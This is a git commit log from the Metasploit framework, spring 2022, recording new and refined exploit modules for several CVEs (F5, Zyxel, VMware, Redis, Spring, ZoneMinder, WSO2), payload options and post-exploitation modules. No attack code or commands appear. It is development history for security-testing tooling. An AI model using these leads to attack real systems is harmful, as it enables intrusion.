Metasploit 4098db81c7 automatic module_metadata_base.json update 2022-05-12 17:58:10 -05:00
bwatters 934f193dc0 Land #16484, Add vcenter_forge_saml_token aux module
Merge branch 'land-16484' into upstream-master
2022-05-12 17:36:20 -05:00
h00die d05e855fab juniper lib updates 2022-05-12 15:16:07 -04:00
h00die f87f2c0a20 formatting of juniper lib 2022-05-12 15:15:11 -04:00
Metasploit 59637e7a5d Weekly dependency updates for Gemfile.lock 2022-05-12 12:09:59 -05:00
Metasploit 93a7ae26a1 Bump version of framework to 6.1.43 2022-05-12 12:06:21 -05:00
Grant Willcox fad601d2ff Update status for items under Related Open Tickets section. 2022-05-12 12:02:14 -05:00
Jake Baines 23f8a0b915 Added Zyxel advisory. Added AKB reference. Used xpath as requested. 2022-05-12 07:17:37 -07:00
Jake Baines f3b23c072f Added a reference to Rapid7 disclosure 2022-05-12 06:33:27 -07:00
Jake Baines 24fa9aabe0 Fixed privilege flag. Swapped 'exploit' for 'command' in a couple of places 2022-05-12 06:24:33 -07:00
Simon Janusz 8d9635c047 Land #2, Update form data api defaults
Update form data api defaults
2022-05-12 13:49:54 +01:00
Metasploit a2ae8eaca9 automatic module_metadata_base.json update 2022-05-12 07:30:04 -05:00
dwelch-r7 d210d2fd2b Land #16544, Update ad_to_sqlite to store loot 2022-05-12 13:09:54 +01:00
Jake Baines 4af93ecfe2 Updated affected 2022-05-12 03:22:21 -07:00
Jake Baines da133a34c8 Updated affected 2022-05-12 03:22:02 -07:00
adfoster-r7 d40a2213eb Land #16560, support additional @ in the nessus password 2022-05-12 10:19:47 +01:00
Metasploit 5ab4721dd6 automatic module_metadata_base.json update 2022-05-12 04:12:51 -05:00
adfoster-r7 26e9beb623 Land #16558, Properly credit Azeria for shellcode 2022-05-12 09:52:28 +01:00
Jake Baines 617b4ae044 Initial commit of Zyxel unauth command injection (CVE=2022-30525) 2022-05-12 01:43:59 -07:00
Ronni3X 83bfc73e09 Update nessus.rb 2022-05-11 19:56:32 -04:00
Grant Willcox 93334b56ef Properly credit Azeria and also include blog post at her request 2022-05-11 18:43:27 -05:00
Metasploit 1e2d9eacd6 automatic module_metadata_base.json update 2022-05-11 18:27:15 -05:00
Grant Willcox 254480051d Land #16549, Added module for F5 iControl RCE (CVE-2022-1388) 2022-05-11 18:06:13 -05:00
Ronni3X 0a2293f20b Merge pull request #1 from Ronni3X/Ronni3X-nessus-plugin-patch-1
Update nessus.rb
2022-05-11 18:37:19 -04:00
Ronni3X 33cfc7ce71 Update nessus.rb
Changed the line that parses the input for the nessus_connect password. It will now split the user input by the last occurrence of the at sign (@) instead of the first occurrence. This will prevent improperly parsed passwords due to an at sign (@) in the password.
2022-05-11 18:33:33 -04:00
Grant Willcox 8dbd6f3334 Change default target to 1 so we get benefit of avoiding some timeout issues since Unix Command may still cause server's REST API to time out at times. 2022-05-11 16:43:37 -05:00
Grant Willcox 196aac6b42 Add in PrependFork and MeterpreterTryToFork options as default to fix timeout issues and potential failure cases due to server not responding 2022-05-11 16:43:36 -05:00
Grant Willcox 27169c4ae1 Add in missing CmdStager library, add some more attribution, and add in PoC link 2022-05-11 16:43:36 -05:00
Grant Willcox 6354d7a055 Redo explanation of exploit in documentation to appropriately account for various nuances. Also update exploit title and description accordingly. 2022-05-11 16:43:36 -05:00
Heyder Andrade 1bc2616c19 Update modules/exploits/linux/http/f5_icontrol_rce.rb
Co-authored-by: wvu <4551878+wvu@users.noreply.github.com>
2022-05-11 16:43:13 -05:00
Heyder Andrade 208367d735 Improved check method reliability
Extra modifications:
- Promote advanced options HttpUsername and HttpPassword
	- password is not really necessary, but if one have credential, can
	  use this module as an exec
- Fixed print statement on check
- Splitted execute_command in two, because we also send a command on the check
  methods, however we don't need the checks that are in the execute_command
2022-05-11 16:43:12 -05:00
Heyder Andrade 8a6dd7152e Added tested versions reference 2022-05-11 16:43:12 -05:00
Heyder Andrade 55163b86d6 Improvements
- Change module name and description
- Added author from the PoC
- Added reference
- Added payloads, targets and notes
- Removed headers used during the tests
2022-05-11 16:43:11 -05:00
Heyder Andrade 77f60eb21e Added module and documentation for f5 icontrol RCE (CVE-2022-1388) 2022-05-11 16:43:00 -05:00
Spencer McIntyre 8b52dbcaf9 Add a basic retry spec 2022-05-11 15:57:59 -04:00
Spencer McIntyre 05fcbd803e Add a new Retry mixin 2022-05-11 15:41:37 -04:00
jerrelgordon 535a6e752d Update get_bookmarks.rb
style changes made
2022-05-11 14:29:36 -04:00
adfoster-r7 e4f42d7eaa Update more modules to use the vars_form_data api 2022-05-11 18:18:21 +01:00
jerrelgordon 03d658c28d Update get_bookmarks.rb
style changes
2022-05-11 13:14:05 -04:00
jerrelgordon 119576916a Delete h
removed unknown file
2022-05-11 13:00:52 -04:00
jerrelgordon 606669e7cf Update modules/post/windows/gather/get_bookmarks.rb
Skip symbols for current and parent dir

Co-authored-by: Brendan <bwatters@rapid7.com>
2022-05-11 12:59:47 -04:00
Metasploit 110998d67b automatic module_metadata_base.json update 2022-05-11 10:36:59 -05:00
Grant Willcox 1c934b87b4 Land #16169, Add sploit for Cisco RV340 SSL VPN - CVE-2022-20699 2022-05-11 10:15:08 -05:00
Grant Willcox 68fdb103fe Add in final touch ups to documentation to fix a typo or two for formatting. Also update exploit ranking since this exploit doesn't retrieve version information before exploiting and is not 100% reliable so Excellent ranking isn't appropriate 2022-05-11 09:39:47 -05:00
adfoster-r7 0ba6b8e7c8 Land #16553, Correct color of big button to be pressed 2022-05-11 10:07:28 +01:00
mauvehed f1c6744e96 Correct color of big button to be pressed 2022-05-10 21:14:05 -05:00
jerrelgordon f5df9b500d Update to include Internet Explorer 2022-05-10 18:13:22 -04:00
jerrelgordon 6cfdc3d330 Updated to retrieve bookmarks for IE 2022-05-10 18:11:35 -04:00
Metasploit 6173835f49 automatic module_metadata_base.json update 2022-05-10 17:09:34 -05:00
Grant Willcox b920c04b75 Land #16548, Add Powershell Command Adapter 2022-05-10 16:47:57 -05:00
Grant Willcox 5a04f8253c Land #16551, Add docker documentation for tomcat mgr upload 2022-05-10 12:03:18 -05:00
Grant Willcox 6a7be290ff Add in minor changes to improve overall formatting and presentation of documentation 2022-05-10 12:02:45 -05:00
adfoster-r7 ff410b23a0 Add documentation for tomcat mgr upload 2022-05-10 17:01:40 +01:00
Metasploit 6dee08d379 automatic module_metadata_base.json update 2022-05-10 09:54:00 -05:00
Spencer McIntyre d5fb559e05 Land #16485, Allow all post-Vista builds 2022-05-10 10:32:09 -04:00
Metasploit 4772e0c4d8 automatic module_metadata_base.json update 2022-05-10 09:05:34 -05:00
bwatters 92715c883f Land #16423, Add module for exploit CVE-2022-22965
Merge branch 'land-16423' into upstream-master
2022-05-10 08:44:06 -05:00
bwatters 43f2b4dcf9 Quick update to the vulhub guidance 2022-05-10 08:42:02 -05:00
adfoster-r7 94e1ad3fe5 Update form data api defaults 2022-05-10 14:12:17 +01:00
bwatters db966b70e1 Merge smcintyre's changes 2022-05-10 07:58:26 -05:00
Simon Janusz 9c7929a506 Land #1, Form data api tweaks
Form data api tweaks
2022-05-10 10:07:10 +01:00
Grant Willcox 653e48eb3c Land #16539, Weekly dependency updates 2022-05-09 17:41:18 -05:00
Grant Willcox 25511a2156 Woops wrong version number, let me fix that 2022-05-09 14:52:49 -05:00
Grant Willcox e3558c939e Update Gemfile.lock to pull in latest changes to rex-socket to fix a typo issue noticed during weekly security review 2022-05-09 14:49:18 -05:00
Spencer McIntyre e48624558a Set the UUID arch and platform correctly 2022-05-09 11:55:57 -04:00
Spencer McIntyre dd5aee4956 Increase the size of psexec commands 2022-05-09 11:55:57 -04:00
Spencer McIntyre eb03c9f131 Add the powershell adapters 2022-05-09 11:55:57 -04:00
Spencer McIntyre ba9b330f79 Fix merging arrays for adapted payloads 2022-05-09 11:55:57 -04:00
Spencer McIntyre 8206c24f4c Account for dynamic cached sizes in Windows payloads 2022-05-09 11:55:57 -04:00
adfoster-r7 4ad4ca32e8 Fix test alignment 2022-05-09 16:51:20 +01:00
adfoster-r7 0ce36f318e Move logic into client_request for consistency 2022-05-09 16:51:15 +01:00
adfoster-r7 709f369c79 Inline mock boundaries for clarity 2022-05-09 12:32:31 +01:00
h00die 6f6e7718dd nfs mount more intelligent 2022-05-08 11:35:59 -04:00
h00die 978dfe9b74 nfs mount more intelligent 2022-05-08 08:48:53 -04:00
adfoster-r7 deb163c882 Update ad_to_sqlite to store loot 2022-05-06 21:41:17 +01:00
Metasploit 855d77e763 automatic module_metadata_base.json update 2022-05-06 15:36:50 -05:00
Jack Heysel 51f255127e Land #16531, Fix login crash for pihole modules
Fixes a crash in various Pi-hole modules when login
authentication is required
2022-05-06 14:08:22 -06:00
adfoster-r7 b4ca6870f1 Land #16542, Fix nil channel id when trying to close channels 2022-05-06 19:03:15 +01:00
sjanusz cef38fb714 Fix nil channel id when trying to close channels 2022-05-06 17:09:36 +01:00
sjanusz 2e59f17439 Rename files to form_data 2022-05-06 16:41:19 +01:00
Metasploit 0ba06973b3 automatic module_metadata_base.json update 2022-05-06 09:48:39 -05:00
adfoster-r7 3b1792f436 Land #16529, Expose options for logging to a file in mettle 2022-05-06 15:29:00 +01:00
dwelch-r7 a7acd7c0f1 Land #16540, Update zeitwerk to ignore go pkg folder 2022-05-06 14:44:17 +01:00
dwelch-r7 1f4ee19c05 Expose options for logging to a file in mettle 2022-05-06 14:36:55 +01:00
adfoster-r7 6b21c9995c Update zeitwerk to ignore go pkg folder 2022-05-06 12:35:43 +01:00
adfoster-r7 94580793a3 Land #16533, Fix -w option flag for meterpreter reg command 2022-05-06 10:49:46 +01:00
Redouane NIBOUCHA 90937e6daa Address feedback from space-r7 2022-05-06 00:31:20 +02:00
Metasploit aa4ef5ae25 Weekly dependency updates for Gemfile.lock 2022-05-05 14:47:15 -05:00
Metasploit 567aa2019b automatic module_metadata_base.json update 2022-05-05 14:28:15 -05:00
Grant Willcox 3e5c8d6d4b Land #16538, Update meterpreter encryptor loader to support python 3.4 2022-05-05 14:09:10 -05:00
Grant Willcox 0a86d07014 Land #16491, Fix crashes on timeouts for multiple modules and Meterpreter 2022-05-05 13:34:29 -05:00
adfoster-r7 e7db0aec99 Update meterpreter encryptor loader to support python 3.4 2022-05-05 19:18:20 +01:00
Metasploit c26199e8e0 Bump version of framework to 6.1.42 2022-05-05 12:05:41 -05:00
Grant Willcox f6ea3a37a3 Land #16526, Update metasploit payloads to 2.0.87 2022-05-05 11:16:04 -05:00
Grant Willcox 86f1acc527 Land #16528, Update git-blame-ignore-revs to ignore tabs to spaces commits 2022-05-05 10:45:16 -05:00
Spencer McIntyre 7646bf9e0a Update the module docs 2022-05-05 11:26:37 -04:00
Spencer McIntyre ece5e2699a Automatically identify the HTTP method 2022-05-05 10:24:04 -04:00
Christophe De La Fuente aedab4c8aa Fix reg command -w option flag 2022-05-05 11:09:53 +02:00
Metasploit 82daa0c90f automatic module_metadata_base.json update 2022-05-04 17:56:15 -05:00
space-r7 e2cefe0750 Land #16514, add ZoneMinder exploit module 2022-05-04 17:37:08 -05:00
space-r7 dd0b124e84 fix typo in docs, check some responses 2022-05-04 17:28:37 -05:00
Metasploit 88db055a60 automatic module_metadata_base.json update 2022-05-04 17:23:39 -05:00
Jack Heysel 481699ed8f Land #16530, PiHole module to not wait for sudo
Update PiHole pihole_remove_commands_lpe module
to no wait for sudo input
2022-05-04 14:57:29 -07:00
vleminator 42b220c955 Merge pull request #1 from smcintyre-r7/pr/collab/16423
Pr/collab/16423
2022-05-04 20:58:46 +02:00
adfoster-r7 53052af988 Fix login crash for pihole modules 2022-05-04 19:42:39 +01:00
Jack Heysel b92fb4671f Update metasploit payloads to 2.0.87 2022-05-04 11:06:27 -07:00
sjanusz bc489fef91 Update PiHole module to not wait for sudo input 2022-05-04 17:24:43 +01:00
krastanoel 115dad7193 Why do i keep forgeting that res can be nil 2022-05-04 20:23:42 +07:00
krastanoel 10c1c75337 Fail the exploit when the target is not Zoneminder but the user enable the ForceExploit 2022-05-04 20:13:40 +07:00
krastanoel 54f6e270fe Make sure the target is a Zoneminder before parse the version, and check if the version is not nil 2022-05-04 20:02:37 +07:00
adfoster-r7 b18fe5c6af Update git-blame-ignore-revs to ignore tabs to spaces commits 2022-05-04 13:15:53 +01:00
Metasploit afa8258c4d automatic module_metadata_base.json update 2022-05-04 05:20:30 -05:00
adfoster-r7 35271b40e7 Land #16445, Add support for Windows Meterpreter logging to file 2022-05-04 11:01:23 +01:00
krastanoel 4c231ba226 Apply suggestions from code review
Remove unnecessary check for content-type response

Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2022-05-04 16:37:20 +07:00
adfoster-r7 bbd881f999 Fix crashes on timeouts 2022-05-04 09:43:00 +01:00
Metasploit 172c1ca8a9 automatic module_metadata_base.json update 2022-05-03 16:52:11 -05:00
Spencer McIntyre 62bfe03b50 Land #16525, Fix VMware Workspace ONE Access 2022-05-03 17:33:46 -04:00
William Vu 6532365dc8 Deregister VHOST 2022-05-03 11:52:50 -05:00
William Vu 8c0cd40a19 Fix VMware Workspace ONE Access CVE-2022-22954 2022-05-03 10:39:58 -05:00
Metasploit 242472ae52 automatic module_metadata_base.json update 2022-05-03 10:08:13 -05:00
dwelch-r7 a76600f4a9 Land #16462, add support for armle/aarch64 architectures 2022-05-03 15:48:50 +01:00
Metasploit 2fd7ccb10d automatic module_metadata_base.json update 2022-05-03 09:41:50 -05:00
Spencer McIntyre 656d029c8e Land #16512, Add VMware CVE-2022-22954 2022-05-03 10:22:21 -04:00
krastanoel 8408f28967 checking status code response for successful exploitation 2022-05-03 20:47:36 +07:00
krastanoel c582f4277f res can be nil due to a timeout or other reason 2022-05-03 20:09:58 +07:00
krastanoel 4e6dddd735 Fail if the response is nil or the body is blank 2022-05-03 19:41:06 +07:00
krastanoel a1dcbb8004 Make sure the response content-type is json before parsing 2022-05-03 19:31:38 +07:00
krastanoel b4733afe2c Modify cookie jar, login and responses
- use keep_cookies instead of grabbing and set manually
- separate login code to its own method
- check response is not nil before calling get_html_document method
- clear cookie jar in exploit method and authenticate if user disable AutoCheck option
2022-05-03 17:54:59 +07:00
krastanoel 0f5e31d593 Apply suggestions from code review
Update documentation common default options

Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2022-05-03 15:43:38 +07:00
William Vu 4ea72bb7a7 Add log IOC 2022-05-03 02:38:29 -05:00
William Vu b2994aa8d8 Add words 2022-05-03 01:13:45 -05:00
William Vu 9a980d068d Link to freemarker.template.utility.Execute docs 2022-05-03 01:00:46 -05:00
William Vu 612e3d6f13 Add another tested SSTI param 2022-05-03 00:30:12 -05:00
William Vu 333681b6da Add other tested SSTI URIs 2022-05-03 00:02:21 -05:00
William Vu a71ded0da8 Update PoC credit 2022-05-02 23:41:43 -05:00
William Vu fa09487ee1 Refactor code, once more with feeling 2022-05-02 22:27:52 -05:00
William Vu 135a81ebc2 Refactor code 2022-05-02 21:53:17 -05:00
William Vu 184b1b1e76 Add module doc 2022-05-02 20:41:01 -05:00
William Vu bf7d3e1c32 Add VMware Workspace ONE Access CVE-2022-22954 2022-05-02 18:51:46 -05:00
adfoster-r7 1d2a9fa523 Land #16520, improve pull request filter to reference owner 2022-05-02 21:55:19 +01:00
Spencer McIntyre 7faac7faa4 Update the JSP file to delete itself 2022-05-02 14:34:51 -04:00
Jeffrey Martin f4131817f0 improve PR filter to reference owner
When using `head` to filter the PR list user or head organization
and branch name in the format of `user:ref-name` or `organization:ref-name`
are required.
2022-05-02 12:22:01 -05:00
Jack Heysel 32f120aa23 Land #16513, Fix whitespace lint issue in test
This fixes the whitespace linting issues within the test folder.
2022-05-02 10:01:26 -07:00
Spencer McIntyre 3bdb8e02e2 Use an exponential backoff to retry 2022-05-02 12:30:43 -04:00
Spencer McIntyre 0f8a35e4d3 Whitespace, grammar and timing changes 2022-05-02 10:45:21 -04:00
krastanoel 4e2328fc89 Return safe checkcode when authentication failed to benefit from autocheck module 2022-04-30 03:45:06 +07:00
krastanoel dbc49c67e6 Use nokogiri over regex to parse csrf_magic value 2022-04-30 03:16:37 +07:00
krastanoel 538e3569f4 No need to use rescue block on check method for supported ruby version 2022-04-30 03:12:27 +07:00
krastanoel a7670b1bfe Fix Inconsistent indentation detected. 2022-04-30 01:46:13 +07:00
krastanoel f1f0ec5435 Apply suggestions from code review
Remove RPORT option and rescue block

Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-04-30 01:18:56 +07:00
krastanoel e27627fbbf Assign check result to an instance variable 2022-04-29 23:01:15 +07:00
krastanoel ae23be355b Remove rand method 2022-04-29 22:34:34 +07:00
dwelch-r7 3a8fb2b480 Update cached sizes 2022-04-29 15:41:57 +01:00
Adrian Vollmer d6547c0bc1 Use XML parser instead of regex 2022-04-29 16:19:58 +02:00
Metasploit 9737d030a7 automatic module_metadata_base.json update 2022-04-29 09:19:07 -05:00
dwelch-r7 1a551138cd Bump payloads version 2022-04-29 15:09:05 +01:00
dwelch-r7 2e44a91b39 Refactor debugging config options to a common location 2022-04-29 15:04:12 +01:00
dwelch-r7 db1d42237b Refactor debugging config options 2022-04-29 15:04:12 +01:00
dwelch-r7 e93253fb38 Conditionally send log path configuration for meterpreter 2022-04-29 15:04:11 +01:00
dwelch-r7 ec9f0b5242 Add log path session config option 2022-04-29 15:04:11 +01:00
Spencer McIntyre c994f8e933 Land #16507, Add WSO2 file upload RCE module 2022-04-29 09:58:55 -04:00
krastanoel 328448e8d4 Get current language before resetting it 2022-04-29 20:52:58 +07:00
krastanoel 7816ffb7c3 Remove checkcode in exploit method and use fail_with instead, no need to use rand method 2022-04-29 19:45:51 +07:00
krastanoel e58fff1ac3 Remove fail_with in check method and return both checkcode and message instead of print 2022-04-29 19:36:36 +07:00
adfoster-r7 ee2d1423af Add missing option name 2022-04-29 10:18:52 +01:00
adfoster-r7 0facf90bd0 Add deprecation notice 2022-04-29 01:13:16 +01:00
adfoster-r7 d226369c20 Update deprecation notice 2022-04-29 00:54:44 +01:00
adfoster-r7 c7c61ac481 Land #16516, Add logging to Github action 2022-04-28 23:32:46 +01:00
Jeffrey Martin 2934fe6ab8 add context to log entries 2022-04-28 17:03:31 -05:00
Jeffrey Martin 9b3424f166 log for PR status 2022-04-28 16:55:38 -05:00
Jeffrey Martin 6b6dff0c6a unique constants 2022-04-28 15:00:14 -05:00
Jeffrey Martin 7f386e635c expand weekly deps PR logging 2022-04-28 14:53:22 -05:00
Jack Heysel 78bea096a2 Land PR #16506, Fix extraneous whitespace
This PR fixes an extraneous whitespace in tunnel info
2022-04-28 10:52:18 -07:00
Metasploit 0de720aba4 Bump version of framework to 6.1.41 2022-04-28 12:07:33 -05:00
Jack Heysel 2b8ea72e51 Added autocheck fixed execute_payload method 2022-04-28 08:55:17 -07:00
krastanoel bb8c130740 Fix docs typo 2022-04-28 21:57:18 +07:00
adfoster-r7 58c1ff3995 Add git-blame-ignore-revs 2022-04-28 15:12:49 +01:00
adfoster-r7 29cc349649 Run rubocop --fix-layout test 2022-04-28 15:06:43 +01:00
krastanoel eba436dd99 Add Zoneminder Language rce module docs 2022-04-28 21:01:00 +07:00
krastanoel 7c371b65ee Add Zoneminder Language rce module 2022-04-28 20:59:53 +07:00
adfoster-r7 bf00619717 Update rubocop rules for test modules 2022-04-28 14:11:26 +01:00
Christophe De La Fuente 25a883806a Land #16439, [Test module] Remove obsolete PostgreSQL test module. Replace it with one for all the supported DBMS 2022-04-28 13:01:56 +02:00
Christophe De La Fuente 365cebce1a Fix rubocop issues 2022-04-28 13:00:45 +02:00
Adrian Vollmer 267f7a541d Update modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2022-04-28 08:25:32 +02:00
Redouane NIBOUCHA f6ff5dde75 Fix hash format (make it compatible with john the ripper) 2022-04-28 06:05:59 +02:00
Metasploit 113b3d6cbc automatic module_metadata_base.json update 2022-04-27 17:24:36 -05:00
vleminator f8887dbf1c Reflect changes in the console output 2022-04-28 00:22:44 +02:00
vleminator b28831715d Merge branch 'cve-2022-22965' of github.com:vleminator/metasploit-framework into cve-2022-22965 2022-04-28 00:18:28 +02:00
adfoster-r7 58f30b2e62 Land #16510, replace Chrome with Thunderbird 2022-04-27 23:04:11 +01:00
vleminator 1185cfd99f Add support for payload dropper with windows path (backslash) 2022-04-28 00:02:19 +02:00
vleminator 6c75b7efcb Add WriteableDir as an advanced module option 2022-04-27 23:38:51 +02:00
vleminator 868d35a1ed bugfix encoding of the jsp payload dropper 2022-04-27 23:35:31 +02:00
vleminator 71eb6e6fb6 Refactor code to improve readability and remove unused code 2022-04-27 23:32:36 +02:00
jvoisin f30c797293 Fix two simple typo 2022-04-27 21:58:02 +02:00
Spencer McIntyre 21f8494366 Land #16509, Ensure HTML is escaped in markdown codeblocks 2022-04-27 15:18:50 -04:00
adfoster-r7 9f6950c6c8 Ensure HTML is escaped in markdown codeblocks 2022-04-27 19:51:05 +01:00
Metasploit 779429adcf automatic module_metadata_base.json update 2022-04-27 13:37:14 -05:00
space-r7 75e5a32b8b Land #16504, add Redis sandbox escape exploit 2022-04-27 13:17:02 -05:00
Jack Heysel 5b82a978ea Added reference removed default payload 2022-04-27 09:48:21 -07:00
Jack Heysel 253cb8580a Responded to comments added retry_until_true 2022-04-27 09:45:18 -07:00
vleminator f57bdabb41 Refine the check method to perform less-invasive exploit validation 2022-04-27 14:05:47 +02:00
adfoster-r7 109dffe6f6 Land request #16496, sessions -K should kill sessions in reverse order 2022-04-27 12:07:23 +01:00
Redouane NIBOUCHA f0b1aa44c9 Remove unneeded else statements 2022-04-27 12:44:49 +02:00
Redouane NIBOUCHA 247ae89c43 Use constants for JTR formats instead of strings 2022-04-27 03:25:26 +02:00
Jack Heysel a941fea26a Removed unused import added target_uri 2022-04-26 14:11:10 -07:00
Jack Heysel a8ae08d138 Updated authors 2022-04-26 13:55:59 -07:00
Jack Heysel 86ff080d31 Merge branch 'wso2-file-upload-rce' of github.com:jheysel-r7/metasploit-framework into wso2-file-upload-rce 2022-04-26 13:53:17 -07:00
Jack Heysel 1879a7568f Updated authors 2022-04-26 13:52:59 -07:00
jheysel-r7 266d3bb9ca Apply suggestions from @bcoles code review
Co-authored-by: bcoles <bcoles@gmail.com>
2022-04-26 13:40:25 -07:00
Jack Heysel 691d9fe001 Added Reliability section to Notes 2022-04-26 13:19:34 -07:00
Jack Heysel 76c8e0b65f Added Notes section to module 2022-04-26 13:01:38 -07:00
Jack Heysel 37c8fff523 Rubocop offenses 2022-04-26 12:51:12 -07:00
Jake Baines 1b119a845c Fixed handling of victim response 2022-04-26 12:34:45 -07:00
William Vu a00d0c8c82 Fix extraneous whitespace in tunnel info 2022-04-26 14:31:01 -05:00
Jack Heysel ca0be9c145 Add WSO2 file upload RCE module 2022-04-26 12:29:12 -07:00
Jake Baines ec37ebc617 Update modules/exploits/linux/redis/redis_debian_sandbox_escape.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2022-04-26 14:43:03 -04:00
Jake Baines de453b8970 Update documentation/modules/exploit/linux/redis/redis_debian_sandbox_escape.md
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2022-04-26 14:42:57 -04:00
Adrian Vollmer dfdd57e8a3 Improve regex parsing in lotus_domino_hashes
* The closing quotes after the `VALUE` attribute were not escaped. This
  commit adds them
* The regex assumed that the short name does not contain whitespace.
  I am looking at a Domino instance where the short name DOES contain
  whitespace. This commit changes the regex such that the value is
  assumed to not contain a quote before the closing quote. Of course,
  there could be an escaped quote inside quotes in the HTML source, but
  if we want to do it properly, we'd need an HTML parser which exceeds
  my modest ruby skills.
* The fields `$dspHTTPPassword` and `dspHTTPPassword` (without the
  dollar sign) can both contain the hash. The code assumed that only up
  to one of those fields contain a hash. This leads to the hash being
  printed twice in the output in my case.
2022-04-26 15:46:56 +02:00
Jake Baines d20fd996bd Fix spelling mistakes 2022-04-26 03:38:23 -07:00
Jake Baines 71a4023c0d Initial commit of Redis sandbox escape CVE-2022-0543 2022-04-26 03:32:11 -07:00
Brendan Coles 02d911e655 gdb_server_exec: Cleanup and add support for armle/aarch64 architectures 2022-04-25 19:25:06 +00:00
Simon Janusz f61ec32808 Land #16495, Add docs build to CI
Add docs build to CI
2022-04-25 17:12:39 +01:00
npm-cesium137-io 7190a967ce Refactor MKII vcenter_forge_saml_token 2022-04-25 11:44:39 -04:00
Tim W e1802de7b8 Fix #16084, sessions -K should kill sessions in reverse order 2022-04-25 16:39:22 +01:00
adfoster-r7 0cba703b7e Add docs build to CI 2022-04-25 16:14:58 +01:00
sjanusz 4ec4b89d00 Add upload of files to HttpClient & update a module to use it 2022-04-25 14:55:37 +01:00
dwelch-r7 969419f35f Land #16486, Add initial pentesting docs section 2022-04-25 13:20:55 +01:00
adfoster-r7 4912b81388 Scroll improvements 2022-04-25 12:08:15 +01:00
adfoster-r7 86dad983e5 Land #16494, Typo fix on line 4 of Metasploit Version API 2022-04-25 12:01:06 +01:00
George Britton ea1d87af4d Typo fix on line 4
Like -> Lie
2022-04-25 11:17:14 +01:00
npm-cesium137-io ab98aee3a4 Remove unrelated module files 2022-04-23 19:50:05 -04:00
npm-cesium137-io 3e07b8c99b Refactor MKI vcenter_forge_saml_token.rb
Extensive refactoring to move away from directly manipulating datastore
options and use local variables instead.

The initial template generation method has been redesigned to use an
external file via Erubi::Engine which is much cleaner vs. jamming a
multiline string into the module.

Response HTML from vCenter is now parsed with Nokogiri HTML vs. pulling
it out with regex.

Registered options have been reworked, following suggestions and
feedback. The use of VHOST in particular eliminates the need to pass
RHOSTS to the template and makes the module behave more closely to "real"
vCenter (i.e., always uses FQDN for the destination).

Added advanced datastore options to control the token lifetime
NOT_BEFORE and NOT_AFTER skew, in seconds. This also uncovered a bug with
the way I was deriving Zulu time which skewed based on the local system
time zone offset from Zulu; this has been fixed.

Corrected a stupid typo in the validate_fqdn method (don't need to check
for capital letters if the test string is always downcase...)

validate_idp_options now uses File.binread and can process certs in keys
in DER or PEM instead of just PEM.

Code optimization, particularly around error handling; other minor
tweaks based on improved understanding of the Framework's capabilities.

Many style changes and modifications based on suggestions and feedback.

Documentation was updated to reflect reality.
2022-04-23 19:42:24 -04:00
h00die 3b5719ec88 nfs mount more intelligent 2022-04-23 07:11:00 -04:00
h00die 44ab99c89f nfs mount more intelligent 2022-04-23 07:02:37 -04:00
adfoster-r7 76357407f0 Add WinRM section 2022-04-23 04:29:52 +01:00
adfoster-r7 f3f4536f44 Fix typo 2022-04-23 04:09:12 +01:00
adfoster-r7 eb61076c26 Align lab details 2022-04-23 03:49:56 +01:00
adfoster-r7 08fc0a58fd Add WinRM details 2022-04-23 03:49:38 +01:00
adfoster-r7 27b8cb784b Add pentesting section 2022-04-23 01:20:07 +01:00
adfoster-r7 bad090716c Add HTTP preamble 2022-04-22 17:50:01 +01:00
adfoster-r7 8f459e7144 Add additional preamble to multiple guides 2022-04-22 17:12:13 +01:00
adfoster-r7 a20c281507 Use wordlist for clarity 2022-04-22 14:28:34 +01:00
bwatters f737e78b87 Land #16480, shift test for cache change to exit code
Merge branch 'land-16480' into upstream-master
2022-04-22 08:05:46 -05:00
adfoster-r7 fc9e7b6b81 Post gather modules boilerplate 2022-04-22 13:25:02 +01:00
Redouane NIBOUCHA 2043d96ae9 Update service_name 2022-04-22 07:22:33 +02:00
Redouane NIBOUCHA 87a21bd117 Add the MSSQL injection library 2022-04-22 06:19:36 +02:00
Redouane NIBOUCHA f21f786c06 Use #create_credential_login instead of the deprecated #report_auth_info 2022-04-22 06:06:05 +02:00
Metasploit 397ab70eba automatic module_metadata_base.json update 2022-04-21 22:06:41 -05:00
Jack Heysel 74e69917c6 Land #16450 VNC Keyboard exec fast typing fix
This PR adds small delays in the VNC Keyboard
Exec to avoid typing long commands too fast.
2022-04-21 19:45:46 -07:00
Jack Heysel 1e40595c53 Fixed typo in TIME_KBD_THRESHOLD option 2022-04-21 19:32:57 -07:00
adfoster-r7 8e3fd5a1ce Add initial kubernetes documentation 2022-04-21 23:49:54 +01:00
Jeff McJunkin d1034c8b57 s4u_persistence.rb: Allow all post-Vista builds
Currently this module doesn't account for Server builds 2016 and above, nor Windows 10 builds. This PR fixes the `sysinfo` comparison to allow later builds.

Note: Many other modules have this problem, and it's probably worth Rapid7 staff time to standardize the usage of build comparisons inside modules.
2022-04-21 15:33:42 -07:00
adfoster-r7 2f265d6e45 Rename pages for clarity 2022-04-21 23:02:25 +01:00
adfoster-r7 d79c56f221 Fix dead link 2022-04-21 21:59:59 +01:00
adfoster-r7 3753c8bcfb Fix dead link 2022-04-21 21:58:21 +01:00
Metasploit 6cebb69d6d automatic module_metadata_base.json update 2022-04-21 15:33:00 -05:00
Jeffrey Martin 274c050ae1 shift test for cache change to exit code 2022-04-21 15:27:34 -05:00
adfoster-r7 e733be7203 Add separate pages for workflows and guides 2022-04-21 21:18:56 +01:00
Jack Heysel 140c3bfd50 Land #16432 Enumerate Windows AV module
Post module that will query WMI via shell
or meterpreter session for deployed AV products
from the root\SecurityCenter2 namespace
2022-04-21 13:07:56 -07:00
Jack Heysel 7be74eca8b Updated spacing 2022-04-21 11:52:27 -07:00
Jack Heysel f011e923e2 Fixed docs 2022-04-21 11:45:26 -07:00
Jack Heysel d8542ad2b5 Changed vprint to print update docs 2022-04-21 11:35:33 -07:00
Metasploit 362ebe5313 Bump version of framework to 6.1.40 2022-04-21 12:04:56 -05:00
Metasploit b9fc2d9291 automatic module_metadata_base.json update 2022-04-21 11:42:05 -05:00
Jack Heysel 17c97fa4dc Merge branch 'feature/win_enum_av' of github.com:sempervictus/metasploit-framework into feature/win_enum_av 2022-04-21 09:24:40 -07:00
